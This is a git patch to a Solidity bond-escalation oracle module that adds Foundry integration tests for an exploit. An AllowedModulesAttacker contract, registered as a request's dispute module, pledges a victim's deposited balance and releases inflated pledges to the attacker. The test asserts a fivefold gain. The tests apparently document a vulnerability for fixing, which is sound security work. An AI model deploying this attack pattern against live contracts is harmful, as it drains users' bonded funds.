From c3ac45570f132505a8fe1f05bbdecea545417677 Mon Sep 17 00:00:00 2001 From: shaito Date: Fri, 13 Sep 2024 13:02:11 -0300 Subject: [PATCH] test: wond 5 --- .../extensions/BondEscalationAccounting.sol | 7 +- .../modules/dispute/BondEscalationModule.sol | 21 +- .../test/integration/BondEscalation.t.sol | 255 +++++++++++++++++- solidity/test/integration/Finalization.t.sol | 18 +- 4 files changed, 279 insertions(+), 22 deletions(-) diff --git a/solidity/contracts/extensions/BondEscalationAccounting.sol b/solidity/contracts/extensions/BondEscalationAccounting.sol index 4bca276a..abed1f8e 100644 --- a/solidity/contracts/extensions/BondEscalationAccounting.sol +++ b/solidity/contracts/extensions/BondEscalationAccounting.sol @@ -19,7 +19,11 @@ contract BondEscalationAccounting is AccountingExtension, IBondEscalationAccount /// @inheritdoc IBondEscalationAccounting mapping(bytes32 _requestId => mapping(address _pledger => bool _claimed)) public pledgerClaimed; - constructor(IOracle _oracle) AccountingExtension(_oracle) {} + mapping(bytes32 _disputeId => mapping(address _pledger => uint256 _totalPledged)) public totalPledged; + + constructor( + IOracle _oracle + ) AccountingExtension(_oracle) {} /// @inheritdoc IBondEscalationAccounting function pledge( @@ -36,6 +40,7 @@ contract BondEscalationAccounting is AccountingExtension, IBondEscalationAccount if (balanceOf[_pledger][_token] < _amount) revert BondEscalationAccounting_InsufficientFunds(); pledges[_disputeId][_token] += _amount; + totalPledged[_disputeId][_pledger] += _amount; unchecked { balanceOf[_pledger][_token] -= _amount; diff --git a/solidity/contracts/modules/dispute/BondEscalationModule.sol b/solidity/contracts/modules/dispute/BondEscalationModule.sol index d33ce09b..bd20b64f 100644 --- a/solidity/contracts/modules/dispute/BondEscalationModule.sol +++ b/solidity/contracts/modules/dispute/BondEscalationModule.sol @@ -20,7 +20,9 @@ contract BondEscalationModule is Module, IBondEscalationModule { */ mapping(bytes32 _requestId => BondEscalation) internal _escalations; - constructor(IOracle _oracle) Module(_oracle) {} + constructor( + IOracle _oracle + ) Module(_oracle) {} /// @inheritdoc IModule function moduleName() external pure returns (string memory _moduleName) { @@ -329,22 +331,23 @@ contract BondEscalationModule is Module, IBondEscalationModule { //////////////////////////////////////////////////////////////////// /// @inheritdoc IBondEscalationModule - function decodeRequestData(bytes calldata _data) public pure returns (RequestParameters memory _params) { + function decodeRequestData( + bytes calldata _data + ) public pure returns (RequestParameters memory _params) { _params = abi.decode(_data, (RequestParameters)); } /// @inheritdoc IBondEscalationModule - function getEscalation(bytes32 _requestId) public view returns (BondEscalation memory _escalation) { + function getEscalation( + bytes32 _requestId + ) public view returns (BondEscalation memory _escalation) { _escalation = _escalations[_requestId]; } /// @inheritdoc IModule - function validateParameters(bytes calldata _encodedParameters) - external - pure - override(Module, IModule) - returns (bool _valid) - { + function validateParameters( + bytes calldata _encodedParameters + ) external pure override(Module, IModule) returns (bool _valid) { RequestParameters memory _params = decodeRequestData(_encodedParameters); _valid = address(_params.accountingExtension) != address(0) && address(_params.bondToken) != address(0) && _params.bondSize != 0 && _params.bondEscalationDeadline != 0 && _params.maxNumberOfEscalations != 0 diff --git a/solidity/test/integration/BondEscalation.t.sol b/solidity/test/integration/BondEscalation.t.sol index 3ce1e13b..1c0d43ed 100644 --- a/solidity/test/integration/BondEscalation.t.sol +++ b/solidity/test/integration/BondEscalation.t.sol @@ -4,6 +4,9 @@ pragma solidity ^0.8.19; import './IntegrationBase.sol'; import {IValidator} from '@defi-wonderland/prophet-core-contracts/solidity/interfaces/IValidator.sol'; +import {IBondEscalationAccounting} from '../../interfaces/extensions/IBondEscalationAccounting.sol'; +import {IOracle} from '@defi-wonderland/prophet-core/solidity/interfaces/IOracle.sol'; + contract Integration_BondEscalation is IntegrationBase { address internal _secondDisputer = makeAddr('secondDisputer'); address internal _secondProposer = makeAddr('secondProposer'); @@ -444,6 +447,178 @@ contract Integration_BondEscalation is IntegrationBase { } function test_attackerAllowedModules() public { + ////////////////// DISPUTE ESCALATION //////////////////////// + // Step 1: Proposer pledges against the dispute + _deposit(_bondEscalationAccounting, proposer, usdc, _pledgeSize); + // vm.prank(proposer); + // _bondEscalationModule.pledgeAgainstDispute(mockRequest, mockDispute); + + // // Step 2: Disputer doubles down + // _deposit(_bondEscalationAccounting, disputer, usdc, _pledgeSize); + // vm.prank(disputer); + // _bondEscalationModule.pledgeForDispute(mockRequest, mockDispute); + + // // Step 3: Proposer doubles down + // _deposit(_bondEscalationAccounting, proposer, usdc, _pledgeSize); + // vm.prank(proposer); + // _bondEscalationModule.pledgeAgainstDispute(mockRequest, mockDispute); + + // Step 4: Disputer runs out of capital + // Step 5: The tying buffer kicks in + // vm.warp(_bondEscalationDeadline + 1); + + // Step 6: An external party sees that Proposer's response is incorrect, so they bond the required WETH + // _deposit(_bondEscalationAccounting, _secondDisputer, usdc, _pledgeSize); + // vm.prank(_secondDisputer); + // _bondEscalationModule.pledgeForDispute(mockRequest, mockDispute); + + ////////////////// NEW MALICIOUS REQUEST //////////////////////// + + address _attacker = makeAddr('attacker'); + address _attackerDisputeModule = address(new AllowedModulesAttacker()); + + mockRequest.nonce += 1; + mockRequest.requester = _attacker; + mockRequest.disputeModule = _attackerDisputeModule; + mockRequest.requestModuleData = abi.encode( + IHttpRequestModule.RequestParameters({ + url: _expectedUrl, + body: _expectedBody, + method: _expectedMethod, + accountingExtension: _bondEscalationAccounting, + paymentToken: usdc, + paymentAmount: 0 + }) + ); + + vm.startPrank(_attacker); + + // Requester creates a request + _bondEscalationAccounting.approveModule(mockRequest.requestModule); + _requestId = oracle.createRequest(mockRequest, _ipfsHash); + + mockResponse.proposer = _attacker; + mockResponse.requestId = _requestId; + + // msg.sender != _response.proposer && msg.sender != address(_request.disputeModule) + // msg.sender = _attacker; + // _response.proposer = _attacker; + // address(_request.disputeModule) = _attackerDisputeModule; + // false && true = false + + // Proposer proposes a response¿ + _bondEscalationAccounting.approveModule(mockRequest.responseModule); + vm.stopPrank(); + + _deposit(_bondEscalationAccounting, _attacker, usdc, _expectedBondSize); + + vm.startPrank(_attacker); + _responseId = oracle.proposeResponse(mockRequest, mockResponse); + + mockDispute.disputer = _attacker; + mockDispute.responseId = _responseId; + mockDispute.proposer = _attacker; + mockDispute.requestId = _requestId; + + _bondEscalationAccounting.approveModule(_attackerDisputeModule); + vm.stopPrank(); + + // Disputer disputes the response + _deposit(_bondEscalationAccounting, _attacker, usdc, _pledgeSize); + + vm.startPrank(_attacker); + + _disputeId = oracle.disputeResponse(mockRequest, mockResponse, mockDispute); + + uint256 _proposerBalance = _bondEscalationAccounting.balanceOf(proposer, usdc); + assertEq(_proposerBalance, _pledgeSize); + + // Pledge for a user + AllowedModulesAttacker(_attackerDisputeModule).pledge( + _bondEscalationAccounting, proposer, mockRequest, mockDispute, usdc, _pledgeSize + ); + + uint256 _newProposerBalance = _bondEscalationAccounting.balanceOf(proposer, usdc); + assertEq(_newProposerBalance, 0); + + // vm.expectRevert(ValidatorLib.ValidatorLib_InvalidDisputeBody.selector); + // _bondEscalationAccounting.releasePledge(mockRequest, mockDispute, _attacker, usdc, _pledgeSize * 4); + vm.stopPrank(); + } + + function test_attackerPledge() public { + ////////////////// DISPUTE ESCALATION //////////////////////// + // Step 1: Proposer deposits in the accounting extension + _deposit(_bondEscalationAccounting, proposer, usdc, _pledgeSize); + + ////////////////// NEW MALICIOUS REQUEST //////////////////////// + + address _attacker = makeAddr('attacker'); + address _attackerDisputeModule = address(new AllowedModulesAttacker()); + + mockRequest.nonce += 1; + mockRequest.requester = _attacker; + mockRequest.disputeModule = _attackerDisputeModule; + mockRequest.requestModuleData = abi.encode( + IHttpRequestModule.RequestParameters({ + url: _expectedUrl, + body: _expectedBody, + method: _expectedMethod, + accountingExtension: _bondEscalationAccounting, + paymentToken: usdc, + paymentAmount: 0 + }) + ); + + vm.startPrank(_attacker); + + // Requester creates a request + _bondEscalationAccounting.approveModule(mockRequest.requestModule); + _requestId = oracle.createRequest(mockRequest, _ipfsHash); + + mockResponse.proposer = _attacker; + mockResponse.requestId = _requestId; + + // Proposer proposes a response + _bondEscalationAccounting.approveModule(mockRequest.responseModule); + vm.stopPrank(); + + _deposit(_bondEscalationAccounting, _attacker, usdc, _expectedBondSize); + + vm.startPrank(_attacker); + _responseId = oracle.proposeResponse(mockRequest, mockResponse); + + mockDispute.disputer = _attacker; + mockDispute.responseId = _responseId; + mockDispute.proposer = _attacker; + mockDispute.requestId = _requestId; + + _bondEscalationAccounting.approveModule(_attackerDisputeModule); + vm.stopPrank(); + + // Disputer disputes the response + _deposit(_bondEscalationAccounting, _attacker, usdc, _pledgeSize); + + vm.startPrank(_attacker); + + _disputeId = oracle.disputeResponse(mockRequest, mockResponse, mockDispute); + + uint256 _proposerBalance = _bondEscalationAccounting.balanceOf(proposer, usdc); + assertEq(_proposerBalance, _pledgeSize); + + // Pledge for a user + AllowedModulesAttacker(_attackerDisputeModule).pledge( + _bondEscalationAccounting, proposer, mockRequest, mockDispute, usdc, _pledgeSize + ); + + // Succesfully pledged for the proposer + uint256 _newProposerBalance = _bondEscalationAccounting.balanceOf(proposer, usdc); + assertEq(_newProposerBalance, 0); + + vm.stopPrank(); + } + + function test_attackerReleasePledge() public { ////////////////// DISPUTE ESCALATION //////////////////////// // Step 1: Proposer pledges against the dispute _deposit(_bondEscalationAccounting, proposer, usdc, _pledgeSize); @@ -472,10 +647,11 @@ contract Integration_BondEscalation is IntegrationBase { ////////////////// NEW MALICIOUS REQUEST //////////////////////// address _attacker = makeAddr('attacker'); + address _attackerDisputeModule = address(new AllowedModulesAttacker()); mockRequest.nonce += 1; mockRequest.requester = _attacker; - mockRequest.disputeModule = _attacker; + mockRequest.disputeModule = _attackerDisputeModule; mockRequest.requestModuleData = abi.encode( IHttpRequestModule.RequestParameters({ url: _expectedUrl, @@ -487,15 +663,80 @@ contract Integration_BondEscalation is IntegrationBase { }) ); - uint256 _attackerBalance = _bondEscalationAccounting.balanceOf(_attacker, usdc); - assertEq(_attackerBalance, 0); - vm.startPrank(_attacker); - // Create a new proposal with another dispute module + + // Requester creates a request _bondEscalationAccounting.approveModule(mockRequest.requestModule); + _requestId = oracle.createRequest(mockRequest, _ipfsHash); + + mockResponse.proposer = _attacker; + mockResponse.requestId = _requestId; + + // Proposer proposes a response + _bondEscalationAccounting.approveModule(mockRequest.responseModule); + vm.stopPrank(); + + _deposit(_bondEscalationAccounting, _attacker, usdc, _expectedBondSize); + + vm.startPrank(_attacker); + _responseId = oracle.proposeResponse(mockRequest, mockResponse); + + mockDispute.disputer = _attacker; + mockDispute.responseId = _responseId; + mockDispute.proposer = _attacker; + mockDispute.requestId = _requestId; - vm.expectRevert(IValidator.Validator_InvalidDisputeBody.selector); - _bondEscalationAccounting.releasePledge(mockRequest, mockDispute, _attacker, usdc, _pledgeSize * 4); + _bondEscalationAccounting.approveModule(_attackerDisputeModule); vm.stopPrank(); + + // Disputer disputes the response + _deposit(_bondEscalationAccounting, _attacker, usdc, _pledgeSize); + + vm.startPrank(_attacker); + + _disputeId = oracle.disputeResponse(mockRequest, mockResponse, mockDispute); + + uint256 _attackerBalance = _bondEscalationAccounting.balanceOf(_attacker, usdc); + assertEq(_attackerBalance, _pledgeSize); + + // Pledge for a user + AllowedModulesAttacker(_attackerDisputeModule).releasePledge( + _bondEscalationAccounting, mockRequest, mockDispute, _attacker, usdc, _pledgeSize * 4 + ); + + // Succesfully released the pledge to the attacker + uint256 _newAttackerBalance = _bondEscalationAccounting.balanceOf(_attacker, usdc); + assertEq(_newAttackerBalance, _pledgeSize * 5); + vm.stopPrank(); + } +} + +contract AllowedModulesAttacker { + function disputeResponse( + IOracle.Request calldata _request, + IOracle.Response calldata _response, + IOracle.Dispute calldata _dispute + ) external {} + + function pledge( + IBondEscalationAccounting _bondEscalationAccounting, + address _pledger, + IOracle.Request calldata _request, + IOracle.Dispute calldata _dispute, + IERC20 _token, + uint256 _amount + ) external { + _bondEscalationAccounting.pledge(_pledger, _request, _dispute, _token, _amount); + } + + function releasePledge( + IBondEscalationAccounting _bondEscalationAccounting, + IOracle.Request calldata _request, + IOracle.Dispute calldata _dispute, + address _pledger, + IERC20 _token, + uint256 _amount + ) external { + _bondEscalationAccounting.releasePledge(_request, _dispute, _pledger, _token, _amount); } } diff --git a/solidity/test/integration/Finalization.t.sol b/solidity/test/integration/Finalization.t.sol index 76ec96d4..3940dad6 100644 --- a/solidity/test/integration/Finalization.t.sol +++ b/solidity/test/integration/Finalization.t.sol @@ -53,7 +53,9 @@ contract Integration_Finalization is IntegrationBase { /** * @notice Finalization data is set and callback calls are made. */ - function test_makeAndIgnoreLowLevelCalls(bytes memory _calldata) public { + function test_makeAndIgnoreLowLevelCalls( + bytes memory _calldata + ) public { _setFinalizationModule( address(_callbackModule), abi.encode(ICallbackModule.RequestParameters({target: _callbackTarget, data: _calldata})) @@ -84,7 +86,7 @@ contract Integration_Finalization is IntegrationBase { mockResponse.response = abi.encode('nonexistent'); // Check: reverts if request has no response? - vm.expectRevert(IOracle.Oracle_InvalidFinalizedResponse.selector); + vm.expectRevert(IOracle.Oracle_InvalidResponse.selector); vm.prank(_finalizer); oracle.finalize(mockRequest, mockResponse); @@ -106,7 +108,9 @@ contract Integration_Finalization is IntegrationBase { /** * @notice Finalizing a request with a ongoing dispute reverts. */ - function test_revertFinalizeInDisputeWindow(uint256 _block) public { + function test_revertFinalizeInDisputeWindow( + uint256 _block + ) public { _block = bound(_block, block.number, _expectedDeadline - _baseDisputeWindow - 1); _createRequest(); @@ -123,7 +127,9 @@ contract Integration_Finalization is IntegrationBase { /** * @notice Finalizing a request without disputes triggers callback calls and executes without reverting. */ - function test_finalizeWithUndisputedResponse(bytes calldata _calldata) public { + function test_finalizeWithUndisputedResponse( + bytes calldata _calldata + ) public { _setFinalizationModule( address(_callbackModule), abi.encode(ICallbackModule.RequestParameters({target: _callbackTarget, data: _calldata})) @@ -147,7 +153,9 @@ contract Integration_Finalization is IntegrationBase { /** * @notice Finalizing a request before the disputing deadline reverts. */ - function test_revertFinalizeBeforeDeadline(bytes calldata _calldata) public { + function test_revertFinalizeBeforeDeadline( + bytes calldata _calldata + ) public { _setFinalizationModule( address(_callbackModule), abi.encode(ICallbackModule.RequestParameters({target: _callbackTarget, data: _calldata}))